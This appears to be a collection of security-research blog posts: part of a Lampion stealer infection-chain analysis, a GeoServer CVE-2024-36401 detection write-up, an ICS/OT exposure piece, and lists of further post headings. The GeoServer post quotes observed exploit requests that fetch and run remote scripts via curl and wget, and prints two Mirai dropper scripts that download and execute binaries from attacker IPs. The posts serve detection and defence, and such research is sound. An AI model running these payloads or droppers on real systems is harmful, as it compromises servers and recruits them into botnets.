Se não for o destinatário desta comunicação, por favor notifique imediatamente o remetente e proceda à destruição do conteúdo, não estando autorizado a divulgar, copiar ou utilizar as informações de forma alguma.

O remetente não assume qualquer responsabilidade pela segurança da transmissão de dados.

Good afternoon, attached you will find the proof of payment and document No. XXXXX

Please do not reply to this email.

This email address is used only for automatic sending of messages.

Confidentiality warning:

This message may contain confidential or restricted-use information.

If you are not the intended recipient of this communication, please notify the sender immediately and destroy the content. You are not authorized to disclose, copy, or use the information in any way.

The sender does not assume any responsibility for the security of data transmission./p>

During our research we observed compromised accounts sending phishing emails, which we confirmed by the presence of the source emails in dumps of compromised accounts. We also observed some emails belonging to corporate accounts.

Email attachments

We observed the use of email attachments since at least September 2024 but believe that this might’ve been used before, which represents a change in the infection chain as described in previous work. The ZIP attachment contains an HTML that shows a template identical to what has been previously documented, which then redirects to another ZIP file that contains the initial VBS. A visual representation of this part of the infection chain is shown below.

Figure 3. Diagram for email, attachment, HTML and ZIP.

In late September 2024, the threat actors (TAs) started experimenting with using their own domains to host the second ZIP file instead of relying on third-party services like AWS S3 or WeTransfer. We believe this change was motivated to convince the victims that the URL hosting the second ZIP was legitimate, since the used domains included Portuguese words that related to receipts (e.g. indebt-faturas[.]com).

ClickFix

In December 2024 the threat actors discarded the second ZIP to use another technique named ClickFix. This new method was initially described by Proofpoint in June 2024 and involves using social engineering to convince the victim into pasting malicious commands into the Windows “Run” dialog box. For this technique to work the victim must open the malicious HTML, which displays a message telling the victim that to be able to access the document they must follow some steps. These steps usually include pasting some content into the Windows “Run” dialog box, which is the initial stage of the infection.

The threat actors behind Lampion are using this method to fetch and run a VBS file, as also reported by Unit 42. With this change their infection chain is now an email with a ZIP attachment, which contains an HTML that redirects to the ClickFix lure, as shown below in Fig. 4:

Figure 4. Diagram with the new ClickFix lure.

This stage has remained mostly unchanged since it was last reported by other researchers, we can only note that the Powershell window is being spawned minimized instead of hidden, and the command was shortened by using aliases. The domain hosting the ClickFix lure is also controlled by the TAs and allows them to blacklist IPs, which makes it harder for researchers to track this threat.

First stage VBS

If the victim’s IP is not blacklisted, the host contacted in the previous stage will redirect to a bucket that hosts the first stage. This stage has suffered some changes since it was last reported by other researchers, as it now makes this first stage persistent by creating a copy of it in the Windows Startup folder, as shown below in Fig. 5.

Figure 5. Snippet from first stage VBS with new persistence mechanism.

This stage adds complexity to the infection chain, potentially to hinder analysis and detection, but its main purpose is simply to fetch the next stage VBS. This stage logic is as follows:

Checks if the script exists in the Startup folder, and if not creates a scheduled task that runs in 15 seconds that copies the script into the Startup folder.
Writes a VBS script into `%TEMP%` where the name is a random number. The written script will include the next stage URL, a file name and a folder name passed by the first stage.
Schedules a task to run in 10 seconds that runs the next stage.
Sleeps waiting for the next stage to generate the folder passed in (2).
Schedules a task to run in 10 seconds that runs the third stage (file dropped by second stage).

The file still contains garbage variables and obfuscated strings, which make the file between 3 and 5MB in size, which after deobfuscation becomes around 35KB.

Second stage VBS

This second stage is entirely generated by the first stage, and does not contain any changes from what has been reported in the past. Its logic is the following:

Do a `HEAD` request to the URL provided by the first stage, and only continue if the response status is 200.
Download the third stage file in chunks to the file name provided by the first stage.
Create a folder with the name provided by the first stage, which will trigger the first stage to execute the third stage.

Third stage VBS

This third and final VBS is (similarly to the first stage) hosted in a bucket, which can only be reached by being redirected from another host that is hardcoded in the first stage. Although the main purpose of this stage is to drop the actual payload, it also includes some communication logic to update the payload and to send basic telemetry about the victim’s machine.

In this stage the threat actors also include junk variables and obfuscated strings, making the file over 70MB in size, which after deobfuscated is around 30KB. The implemented logic is described below and shown in Fig. 6:

Remove any other VBS files in `%TEMP%`
Check for the presence of a file named after a unique ID in `%TEMP%`:
1. If the file exists and its contents are a base64 encoded filepath that also exists, stop execution.
2. If the file exists but doesn’t contain a filepath that exists, make a POST request to the hardcoded C2:
  1. If the response is `wait`, sleep for 15 minutes and continue to (2.b.).
  2. Else update the C2 and DLL export name.
Check for other instances of this script running, and if they exist, stop execution.
Remove all files in the Windows `Startup` folder.
Set-up persistence by creating a CMD file in the `Startup` folder that spawns this VBS - this operation is made by scheduling tasks that 1) Create the CMD in `%appdata` (15 second delay) and 2) move the CMD into the Startup folder (20 second delay).
Send system info to the C2 via a GET request
Download the Lampion stealer to `%appdata%\HHmmSS\YYYYMMDDHHmmSS.dll`
Set-up stealer persistence by creating a CMD file in the `Startup` folder that calls `rundll32` with the DLL and the correct export name. Task scheduling is used in the same way as in (5).
Create a scheduled task that reboots the system after 15 minutes.

Figure 6. Flowchart for the third stage VBS.

Based on the described logic, we can conclude that this stage is the dropper for the Lampion stealer; it’s used to download and update the stealer, and also to send telemetry about the infected system. The architecture of the dropper makes it suitable to drop other payloads, but we haven’t found any evidence of that occurring.

It’s also worth noting that this stage will remove evidence of previous stages, which are stored in `%TEMP%`, and that the final payload only executes after a restart, hindering DFIR actions.

The C2s that are used to fetch the payload and send telemetry are, similarly to before, hardcoded in the script and served from multiple hosts. The DLL itself is hosted in a bucket and is only accessible by being redirected from the C2, if the victim’s IP is not blacklisted.

Regarding the telemetry information sent to the C2, as mentioned in step (6), we can see in the top image of Fig. 7 it’s a base64 encoded string with a machine ID, OS information, Antivirus information, username and computer name. The machine ID is built from the computer name, username, and hardware serial numbers, as shown in the bottom image of Fig.7.

Figure 7. Functions that generate machine ID and generate payload (comments are from TA).

DLL

This file is the main Lampion stealer component, and has been previously reported by other researchers as having multiple components, specifically a DLL and a ZIP. We observed that this is no longer the case, as the stealer now is a single DLL with sizes around 700MB. Using files with large sizes is a common technique known as bloating, whose purpose is to prevent analysis by some tools (specially online services) that have a limit in file size submissions. We’ve also noticed that previously undocumented features of the stealer, which we’ll detail next.

Statically looking at the file, it’s a PE32 executable (DLL) with around 700MB in size, compiled using Embarcadero Delphi Professional. The DLL is packed and contains 13 sections. As shown in the Fig. 8 below, the binary also includes 2 encrypted ZIP files in the resources section, which make up most of the size of the binary. The existence of a sole binary file with encrypted ZIPs shows a difference from what has been reported previously by Layer8 and Segurança Informática, where there were 2 files being fetched from a cloud storage bucket. Our observations are inline with what was reported by Unit 42 in May 2025, and we believe this change from multiple files to a single DLL occurred at the end of 2024.

Figure 8. Output of Detect it Easy (DiE) for DLL.

The usage of VMProtect to obfuscate the sample is not new, and falls inline with known indicators for this threat actor. VMProtect’s capabilities make analysis of samples harder, given its capabilities to mutate and virtualize code, protect sections, and detect debugging and virtualization. Even with these protections it is still possible to quickly get some information about the file execution.

We’ve observed the DLL contacting the same C2 IP that has been previously reported (`83.242.96[.]159`), and based on our intel it has been in use since 2024. We did not find any significant changes in the communication protocol from what has been previously reported. The sample checks-in with the C2 and sends basic information about the infection, and can also send a more detailed debug dump that lists hardware information, running programs and installed programs.

During our research we’ve observed the sample dropping a VBS file into the `Startup` folder that hasn’t been reported yet. This file has around 23MB (contains junk code) but its purpose is simple. As can be seen in Figure 9 below, the script runs an infinite loop (with 1 second delay) where it checks if Edge, Firefox, Opera, Chrome, or Brave are running, and tries to terminate them.

Figure 9. Script dropped by DLL to terminate browsers.

The effort put in by the threat actors on developing this infection chain demonstrates their concern on keeping their operations stealthy, as shown by the number of stages and server-side validations that either block or allow the infection to continue. Before moving to the infrastructure that supports this malware, we’ll briefly look at the detections for the stages.

Looking at the VirusTotal detections, the ZIP file that comes as an attachment to the email and the HTML inside it do not have any detections as of the writing of this post. The first stage VBS (second stage is inside the first as well) shows 8 detections and the last stage VBS shows 25 detections. The DLL is not available in VirusTotal given its size being over 650MB (VT limit).

Malicious infrastructure

In this section we’ll look into more specific details of the threat actor’s malicious infrastructure, focusing on the recent infrastructure. Specifically, we’ll look at the services used by the threat actor’s, how each stage has their own infrastructure, and how each stage connects to each other. The following Fig. 10 exemplifies how the TAs have their infrastructure connected:

Figure 10. Diagram of the observed infrastructure (larger version).

We can logically separate their infrastructure into three parts, delimited by their purpose and also used services. The first component (light blue) of their infrastructure relates to the initial ClickFix payload and we’ve observed five different web hosting services being used. The second component (light gray) of their infrastructure relates to the first, second, and third stages of the previously described VBS, and uses multiple VPS hosts and cloud storage buckets from the same cloud provider. The third and last component (blue) relates to the actual stealer malware and is the main (and only) Command and Control (C2) infrastructure.

It’s worth remembering that, as mentioned in the Infection Chain section, all components of their infrastructure contain IP blacklisting capabilities, which not only make analysis harder, by breaking the infection chain, but also because the hosts responsible for blacklisting are also used as redirection points to cloud storage buckets, which gives the TAs a fine control on where to redirect the contacting IPs.

Another interesting note about their infrastructure is the immense amount of samples that exist in each stage. We’ve observed hundreds of unique samples for each stage, although the hardcoded C2s are limited to a small set of IPs. Given this high variability of samples, one could hypothesize the use of automations by the threat actors.

Based on the observed evidence relating to the malicious infrastructure, we can assume some technical expertise from the threat actors, which show usage of different cloud providers at different points of the infrastructure. We also observed that the lifespan of their infrastructure varied significantly, with some infrastructure like the main C2 being the same for over a year, while other infrastructure like the one used to drop the VBS changing more frequently. The more ephemeral use of the infrastructure could relate to how the campaigns are distributed, the detections of their infrastructure by security products, or to limits in the usage of the cloud services.

Conclusion

In this blog post we went over the latest infection chain used by the threat actors behind Lampion to distribute their stealer, focusing on the changes made to the infection chain and providing previously undocumented indicators. We detailed the use of email attachments, ClickFix lures, and the multi-stage VBS infection chain, which now includes more persistence mechanisms. The analysis also shed light on the updated Lampion Stealer, now a single, large DLL, and the distributed and dynamic infrastructure supporting these operations. The observed tactics highlight the threat actors' dedication to stealth and evasion, making detection and analysis challenging for defenders.

IoCs

https://github.com/bitsight-research/threat_research/tree/main/lampion
https://www.virustotal.com/gui/collection/7f6d47cad068676a29ab0e4265a421d74e0ca38725e1e8c8d6be38504eb3ec31

GeoServer CVE-2024-36401: Tailoring a Public PoC to Enable High-Confidence Detection

Eric Cisternelli — Thu, 09 Oct 2025 11:55:00 +0000

GeoServer CVE-2024-36401: Tailoring a Public PoC to Enable High-Confidence Detection Eric Cisternelli Thu, 10/09/2025 - 07:55

Introduction

At Bitsight, one of the responsibilities of the Vulnerability Research team is to develop fingerprinting methods to not only identify exposed services, but also vulnerabilities in those services. When it comes to detecting vulnerabilities, there are increased challenges depending on the complexity of both the vulnerability and the vulnerable service. Some vulnerabilities are easily identified by metadata provided by the service, while others have dependencies that we must identify to detect them correctly.

An example of a more nuanced vulnerability that presented challenges in identification is CVE-2024-36401, which affects GeoServer services, an open-source software for geospatial data sharing and processing, with a Remote Code Execution (RCE) vulnerability. While this may seem like an obscure service, it is moderately widespread, particularly within government and other geospatial-reliant sectors - such as transportation or industry, making the detection of this vulnerability especially critical.

This vulnerability was made public back in 2024, and we started supporting it in our product’s Vulnerability Detection Catalog shortly after it was added to the CISA Known Exploited Vulnerabilities (KEV) list. However, this year-old vulnerability has gained some traction again recently, as a new report has surfaced detailing how it was exploited by threat actors to compromise a federal civilian executive branch (FCEB) agency, deploying malware along the way. Alongside the recently published report, we have also detected recent exploitation attempts of this vulnerability.

Due to its complexity, directly porting public Proof-of-Concepts (PoCs) for large-scale detection is infeasible, as the exploitation of the vulnerability depends on some prerequisites that are customized by the application administrator during setup and normal usage.

In this blog post, we describe how we tailored publicly available PoCs for CVE-2024-36401 into a non-intrusive, high-confidence detection method suitable for internet-wide scanning, and we will also describe our observations in exploitation attempts of this vulnerability.

Problem statement

CVE-2024-36401 exploits an issue in evaluating property name expressions within GeoServer, enabling unauthenticated attackers to execute arbitrary code. While detection based on GeoServer’s version seemed promising at first, it presented several limitations:

Downstream Patching and Configuration: Instances could apply patches or remove the vulnerable component without upgrading GeoServer.
Version Inconsistencies: Not all GeoServer instances publicly exposed their version information.
Configuration Dependencies: The vulnerability required specific configurations to be exploitable, particularly the presence of a user-defined typeName parameter in the setup.

These challenges required a more robust method for identifying vulnerable instances without intrusive exploitation. We turned to existing research and public PoCs to develop a tailored solution.

Vulnerability Analysis

Test Environment

To replicate the conditions necessary for exploiting the vulnerability, we set up two Docker containers:

docker run -p 8085:8080 kartoza/geoserver:2.25.0  # Vulnerable version
docker run -p 8086:8080 kartoza/geoserver:2.25.2  # Patched version

Following the configuration guidance from Keysight’s blog post, we ensured the typeName parameter was defined in both instances, as this is a prerequisite for exploitation.

Root cause

When we dive a bit deeper into the vulnerability, we can understand that it stems from how GeoServer processes user-supplied input via XPath, a language designed for querying XML documents. GeoServer utilizes the commons-jxpath library to handle these XPath expressions.

In vulnerable GeoServer instances, the dynamic evaluation of these XPath expressions, which should be strictly confined to complex feature types (like Application Schema data stores), is also executed for simple feature types that can be user-supplied. This creates a significant security risk, as it opens the possibility for arbitrary code execution when processing maliciously crafted input.

Figure 1 - Fix for CVE-2024-36401 implemented in [GEOT-7587] Improve handling of XPath expressions

In the fix, the developers created a newSafeContext method that encapsulates this evaluation so it does not allow for code execution.

GeoServer “FeatureTypes”

GeoServer is a software that handles geospatial data, and it abstracts the concept of Feature Types, “which define the schema for features in a geospatial dataset, specifying the properties that each feature can have - analogous to columns in a database table. This schema is critical in managing geospatial data.”

These are important because it’s during the processing of these Feature Types that the unsafe evaluation of the XPath expressions occurs.

In the normal initial usage of the application, an administrator will create a Feature Type in the application, in the format: namespace:featuretype - for example, bitsight:randomFeature

The publicly known exploits

At the time of our research, there were a few write-ups available already for this vulnerability, accompanied by their own Proof of Concepts, such as Vicarius.io - GeoServer RCE (CVE-2024-36401), and Keysight - CVE-2024-36401: A Remote Code Execution Vulnerability in GeoServer. However, as we highlighted below, the already available PoCs had two issues that prevented us from porting them directly onto our detection engine:

Problem #1: Intrusiveness - the used payloads attempted to achieve remote code execution and confirm the existence of the vulnerability by leveraging this code execution to make a callback to the attacker’s server, or to create a file on the server. This is not something that we can do at an internet scale, as we refrain from performing any detection technique that might cause a state-changing operation in the target.

Problem #2: Scalability - the used payloads need the featureType parameter that we explained above, which depends on each of the targets’ initial configuration. In the below PoCs, they either used a parameter that needs to be supplied by the attacker when executing it, or a hardwired parameter that would only work against that researcher’s environment, since he configured his GeoServer server with the workspace:states feature type.

Figure 2 - PoC from https://github.com/bigb0x/CVE-2024-36401/ - using an attacker-supplied parameter type, and using an RCE payload to trigger a callback.

Figure 3 - PoC from https://www.keysight.com/blogs/en/tech/nwvs/2024/09/03/cve-2024-36401-rce-in-geoserver - using a hard-coded workspace:states parameter type, and using an RCE payload to create a file on the server.

Detecting it safely, and at scale

Given these two problems, our focus now shifts towards tweaking the payload itself to solve them.

For the first one, we quickly figured out a solution to make it significantly less intrusive. We found that we could discard the exec() Java directive altogether, and just use java.lang.Runtime.getRuntime().

Figure 4 - Vulnerable response from benign payload

Figure 5 - Patched response from benign payload

Vulnerable versions of the Geoserver software would reply with a 400 HTTP Status Code, as well as an error message containing a ClassCastException, while patched versions of the application would not try to dynamically interpret the invalid XPath expression, and instead reply with a 500 HTTP Status Code and the message No such attribute: java.lang.Runtime.getRuntime()

We later found out that the same request can be translated to a GET request instead, such as /geoserver/wfs?request=GetPropertyValue&service=wfs&typeNames={type_name}&valueReference=java.lang.Runtime.getRuntime%28%29&version=2.0.0, which simplifies our payload.

As for the second issue, it required us to dig deeper into other research, as well as into the software’s documentation itself. We needed to figure out an unauthenticated way to obtain a valid featureType from each of the instances before triggering our benign payload.

When reviewing some links and documentation, we found the following Stack Overflow Answer, and the respective functionality in the documentation:

Here, it states that there is an endpoint /geoserver/workspacename/ows?service=WFS&request=DescribeFeatureType, which will reply with a list of Feature Types for that GeoServer instance.

Figure 6 - Stack Overflow Answer regarding DescribeFeatureType

Figure 7 - GeoServer’s documentation regarding DescribeFeatureType

Leveraging this endpoint before, Problem #2 is now solved, and our detection logic will be finalized as follows:

Issue a request to /geoserver/workspacename/ows?service=WFS&request=DescribeFeatureType
Parse the response and retrieve a valid featureType value
Issue a request to /geoserver/wfs?request=GetPropertyValue&service=wfs&typeNames={type_name}&valueReference=java.lang.Runtime.getRuntime%28%29&version=2.0.0
Parse the response
1. If the response is a 400 HTTP Status Code, containing an error message that includes a ClassCastException message, then it’s vulnerable to CVE-2024-36401

Results

After CVE-2024-36401 was added to the CISA KEV, we implemented this detection capability into our product in September 2024. Around that time, we found 4606 GeoServer instances, of which 1071 were vulnerable to this vulnerability. Now, around 10 months later, we still support it, and this number has been reduced to approximately 2,074 GeoServer instances, from which 385 are still vulnerable to this CVE.

Observed Exploitations

Fingerprinting scans for GeoServer services are a common observation in our datasets, but around summertime, specifically between June and August, we observed exploitation attempts for CVE-2024-36401. These exploits were dropping a script with the purpose of recruiting vulnerable servers into botnets, which we detail next.

Vtubers Exploit

One of the exploits which we’ve named Vtubers, based on the name of the script being dropped, was sending the payload seen below in Fig. 8:

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=topp:states&valueReference=exec(java.lang.Runtime.getRuntime(),'curl -o vtubers.sh hxxp://15.204.119[.]129/vtubers.sh; chmod 777 vtubers.sh; sh vtubers.sh; rm -rf vtubers.sh') HTTP/1.1  
Host: xx.xx.xx.xx:443

Figure 8 - Payload sent by the Vtubers exploit

This exploit tries to run `curl` to drop and run a script named `vtubers.sh`. We've observed at least 2 different versions of the `vtubers.sh` script, which are shown below in Fig. 9:


#!/bin/sh

echo "hololive vtubers are the best!"

wget hxxp://15.204.119[.]129/shion.vtubers
curl hxxp://15.204.119[.]129/watame.vtubers

vtubers="amelia ayame fubuki gura haachama kiara korone laplus marine mori mumei okayu pekora shion subaru towa"
hololivepro="172.233.82[.]130"

if command -v wget >/dev/null 2>&1; then
    for vtuber in $vtubers; do
        wget -q "http://$hololivepro/$vtuber.vtuber" -O "$vtuber.vtuber"
        chmod +x "$vtuber.vtuber"
        ./"$vtuber.vtuber"
        rm -f "$vtuber.vtuber"
    done
elif command -v curl >/dev/null 2>&1; then
    for vtuber in $vtubers; do
        curl -s -o "$vtuber.vtuber" "http://$hololivepro/$vtuber.vtuber"
        chmod +x "$vtuber.vtuber"
        ./"$vtuber.vtuber"
        rm -f "$vtuber.vtuber"
    done
else
    echo ":("
    exit 1
fi

Figure 9 - Content of observed `vtubers.sh` script

Regarding the URLs in the first script, we were not able to find their content, but looking at the content of the second script we hypothesize that they’d have a similar functionality, where multiple binary files are fetched and run. The second script shows a common behaviour for payloads used in internet exposed devices, where binaries are compiled for multiple architectures, and then the implant script attempts to use either `curl` or `wget` to fetch the correct binary for the architecture.

We briefly looked at the binaries being dropped by the script to get a better understanding of the botnet, and based on the signatures provided by VirusTotal this botnet appears to be a Mirai variant, which has self-propagating and DDoS capabilities. We searched our telemetry for exploits dropping the same `vtubers.sh` script and found multiple payloads for different vulnerabilities, which align with the behaviour of Mirai. We only found 27 unique IPs related to this botnet for the year of 2025, indicating that at the time of writing the botnet is quite small in terms of potentially infected machines. For completeness, we’ve also extracted the indicators used as Command and Control (C2), which we share in the IoCs section.

Test Exploit

One other exploit we’ve observed is shown below in Fig. 10, which we've named test based on the payload name.

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=topp:states&valueReference=exec(java.lang.Runtime.getRuntime().exec("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/test.sh; curl -O hxxp://65.21.56[.]214/test.sh; chmod +x *; chmod 777 *; sh test.sh; ./test.sh; rm -rf * | sh")) HTTP/1.1  
Host: xx.xx.xx.xx:8080  
Accept: */*

Figure 10 - Payload sent by the test botnet

Similar to before, this exploit fetches and tries to run a script. Fig. 11 below shows the content of the script, which behaves identically to the previous botnet: `curl` and `wget` are used to fetch one binary that works for the exploited service architecture.

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/x86; curl -O hxxp://65.21.56[.]214/systemcl/x86; cat x86 > unk.x86; chmod +x *; ./unk.x86 x86; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/mips; curl -O hxxp://65.21.56[.]214/systemcl/mips; cat mips > unk.mips; chmod +x *; ./unk.mips mips; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arc; curl -O hxxp://65.21.56[.]214/systemcl/arc; cat arc > unk.arc ; chmod +x *; ./unk.arc arc; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/i468; curl -O hxxp://65.21.56[.]214/systemcl/i468; cat i468 > unk.i468 ; chmod +x *; ./unk.i468 i468; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/i686; curl -O hxxp://65.21.56[.]214/systemcl/i686; cat i686 > unk.i686 ; chmod +x *; ./unk.i686 i686; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/x86_64; curl -O hxxp://65.21.56[.]214/systemcl/x86_64; cat x86_64 > unk.x68_64  ; chmod +x *; ./unk.x86_64 x86_64; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/mpsl; curl -O hxxp://65.21.56[.]214/systemcl/mpsl; cat  mpsl > unk.mpsl ; chmod +x *; ./unk.mpsl mpsl; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arm; curl -O hxxp://65.21.56[.]214/systemcl/arm; cat  arm > unk.arm ; chmod +x *; ./unk.arm arm; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arm5; curl -O hxxp://65.21.56[.]214/systemcl/arm5; cat  arm5 > unk.arm5 ; chmod +x *; ./unk.arm5 arm5; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arm6; curl -O hxxp://65.21.56[.]214/systemcl/arm6; cat  arm6 > unk.arm6 ; chmod +x *; ./unk.arm6 arm6; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/arm7; curl -O hxxp://65.21.56[.]214/systemcl/arm7; cat  arm7 > unk.arm7 ; chmod +x *; ./unk.arm7 arm7; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/ppc; curl -O hxxp://65.21.56[.]214/systemcl/ppc; cat  ppc > unk.ppc ; chmod +x *; ./unk.ppc ppc; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/spc; curl -O hxxp://65.21.56[.]214/systemcl/spc; cat  spc > unk.spc ; chmod +x *; ./unk.spc spc; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/m68k; curl -O hxxp://65.21.56[.]214/systemcl/m68k; cat  m68k > unk.m68k ; chmod +x *; ./unk.m68k m68k; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://65.21.56[.]214/systemcl/sh4; curl -O hxxp://65.21.56[.]214/systemcl/sh4; cat  sh4 > unk.sh4 ; chmod +x *; ./unk.sh4 sh4; rm -rf *

Figure 11 - Script `test.sh` content

This second botnet is identical to the previous one in terms of behaviour. Based on signatures for the binaries dropped by the script, we also believe this is a Mirai variant but from a different threat actor. We've only identified 6 unique IPs using the same `test.sh` script, but we also note that this threat actor segregates their infrastructure more, as the IPs hosting the scripts differ from the ones used as C2 for the botnet; hence, we might not have the complete picture for this botnet.

Conclusion

CVE-2024-36401 highlights the importance of not taking publicly available PoCs at face value, as some of them might be tested only against the researchers’ own environments. At Bitsight, part of the responsibility of the vulnerability research team is, even when PoCs for a certain vulnerability are already public, making sure that they are not only safe to use but also that they are accurate when loaded for an at-scale detection scenario. We also show that even though the vulnerability is not new, threat actors are exploiting it, which reinforces why enterprises should control their exposure using services like Bitsight’s Security Performance Management and Continuous Monitoring.

IoCs

SHA256	Details
962949acaad7d8d626893abfb746db37a1bbf680ec0ce4d9d993deb82539f627	Vtubers botnet binaries hosted by 172.233.82[.]130
611737dd350548f3dd1ed7b3e657d4fbcea68c3c04aee8b4a372c647f3db7853
80ce552aaa53902ad9505e9a6f47bfd93ba4d1e2513af7f2d6b32e169bfe127
caf58369b34126be4f46efed96ecab81b2c4f16feced00b34ea0423abd743c29
d23686d396824086497b65b5b2443c4c07a60fd157d13ec904f662e21405bad
10212aa94ba13323cf27b190b1f784252bc8358cdccac2ccb82991183ec25cd
c0b89dfce895a832eafa06bb8419780e74afa895d7a48ff7d8c53ded9a5374
59f2a4503647d69bcdba4ff68442e97550eed0d4bf13f49ad2f4f77119fa864
9fe88c7d94383284cf26ab9a3936b4d984118ede03aacd3f1a7e80d18740894
f2013cb532946fda1dfc42cde8e8a36aa61be1f4a177e7aef633a8c7918871f3
3b4b682c2acb9ca965bb602ff42581c41cfbfb08d195bfed65410294f608bfad
87435f5450f563794447a982789a1fbee1b79207b2997338c75e527b057ac
3aad43f537977b132d96ed9604e0f2fdbe3ad78d19a33e3768cd79be3808d0a
ecf86e7430e1cfd701a7890c65c29da8da84f5cd88a8198e98924436c7bfc2
dafb6cfaab8ef0c98d9c3bb38d837a12a1b3a29f77dc7c0eb71d6cca81b89264
74ec1545696cfcf4fe57fe27da1218e82c4da87ca6eb34db98068f1dc769d275
d2ba3ef8af026fd0d2d33248c42236bec5b944b668f5ebc7cdba2b04cc4b9fd4	Test botnet binaries hosted by 65.21.56[.]1214
da0d7ca9995e5a056755058fbb3b37e301d854808f580edcad5898541285e7d1
ada7225e886f9c2c8e88f94d5c04a8bf564f3cebd989342eb183e5c628a072da
56a9e38649a022dd11c43974aa709860f585b9655e85fe2901b3201d03165762
fd327e197d291bdcdbaf7382c8f37f7f19c9956991323794ed529c8281bae73
bf3f6daad4aabe72c30eb64407dfba52b15e6c108c6502d44c57a72b655279891
1cbdc275caff194fc4eded354e7604d3b189a9ee5d5532370cb1db3676158704

Domain/IP	Details
217.113.49[.]161	IP sending the exploit for the Vtubers botnet
okayuthefoodiecat.mozicloud[.]org	Domains used by the Vtubers botnet
hololive.mozicloud[.]org
holohouse.uwunekochan[.]com
vtubers.uwunekochan[.]com
15.204.119[.]129	IP hosting binaries, scripts and C2 for the Vtubers botnet
172.233.82[.]130
185.194.177[.]60	IP sending the exploit for the Test botnet
65.21.56[.]214	IP hosting binaries and scripts for the Test botnet
zrysdxnzmo.antiwifi[.]cc	Domains used by the Test botnet
jmanga[.]co
87.121.84[.]60	IP used as C2 for the Test botnet

180,000 ICS/OT Devices and Counting: The Unforgivable Exposure

Eric Cisternelli — Thu, 25 Sep 2025 05:42:18 +0000

180,000 ICS/OT Devices and Counting: The Unforgivable Exposure Eric Cisternelli Thu, 09/25/2025 - 01:42

Remember when ICS malware was “rare”? Last year we got two new families built for one thing: disruption. FrostyGoop and Fuxnet are not Mirai with a wrench taped on or your typical DDoS botnet. They were built to target and disable devices that use Meter-bus and Modbus protocols, inflicting maximum damage. If you still believe that “our PLCs aren’t on the Internet,” then this is your nudge to actually go and check.

Exposure was declining, until it wasn’t

Our latest sweep, as detailed further in The Unforgivable Exposure of ICS/OT report, shows Industrial Control System and Operational Technology (ICS/OT) exposure is climbing again. Fresh installs show up in the wild with plaintext protocols, factory creds, and “segmentation” that exists mostly in architecture diagrams. It is the usual suspects: Modbus, S7, BACnet, KNX, and ATG, to name a few. Old gear that should have retired and new gear that never should have been online. The attack surface is slowly growing and the trend is quite concerning. If nothing happens, we might be looking at 200,000 Internet exposed ICS/OT in less than a year.

Critical infrastructure, critical impact

A large number of these systems are part of our critical infrastructure. Pair that with modern ICS-aware tooling (which is increasingly easier to find), and you get a very efficient path from scan to consequence. Not theoretical. Pumps stall. Lights flicker. Heating goes off. Safety systems go to manual mode at 03:13 in the morning while someone scrambles to find the right cellphone number to ‘call in case of emergency.’

On top of more exposure, another piece of concerning news is that the number of vulnerabilities being found in these types of devices keeps growing, too. CISA keeps track of these and regularly publishes advisories on newly found vulnerabilities that affect industrial control systems. The number of CVEs being attributed is rising almost every year.

In fact, by the time we are writing this post, there are already 1,850 CVEs from CISA ICS advisories published. (Actually, the correct number is 1,853 since CISA just published 3 more on September 18, straight from Bitsight TRACE.) And the record-breaking year is not over yet, only time will tell how high we reach over the remaining three months of the year …

Also concerning is the fact that, according to CISA, almost 30% of these vulnerabilities have no patch or update available.

Learn more in the full The Unforgivable Exposure of ICS/OT report, where we break down where exposure is rising, why attribution gets messy, and what will actually bend the curve: kill public access, set sane vendor defaults, make ISPs real partners, monitor continuously.

These systems run more than plants and pumps: they run trust. Let’s stop leaving them one misconfigured router away from a bad day.

Get our full analysis and takeaways, and stay tuned for another update in early 2026 as we continue our watch on all things unforgivable when it comes to ICS/OT.

Research report

12% Rise in Exposed ICS/OT

Bitsight data shows a 12% year-over-year increase across Modbus, BACnet, and more. The report also covers regional hotspots, why devices are exposed, and practical fixes for security teams.

Get the report

Bitsight Research

Forward to the Past: The Y2K38 Problem Ahead

What exactly is the Y2K38 problem?

How deep does it go?

Isn't there a quick fix?

What can we see?

NTP

Apache Debian

Boa Web Server

ICS/OT

Why the urgency?

An understatement

Scale

Scope

Status

Going forward

4 Predictions Our Researchers Say Could Break (or Break Through) in 2026

1. Fragmentation in vulnerability intelligence

2. AI everywhere, but not always for good

3. IoT and user risk will persist

4. Critical infrastructure: A double-edged outlook

Preparing for a complex year ahead

Report: 7.7 Million endpoint logs for sale & more

CVE-2025-55182: First Days of React2Shell Exploitations

Observations

InfectedSlurs Botnet

Rondo

Outlaw

Mining

Mirai

Indicators of Compromise

Conclusion

It’s 2 AM. Do You Know Which AIs Your MCP Server Is Talking To?

Inside MCP: From message flow to real-world magic

Some foundational MCP concepts

The main actors: MCP Host, MCP Client, and MCP Server

The protocol handshake

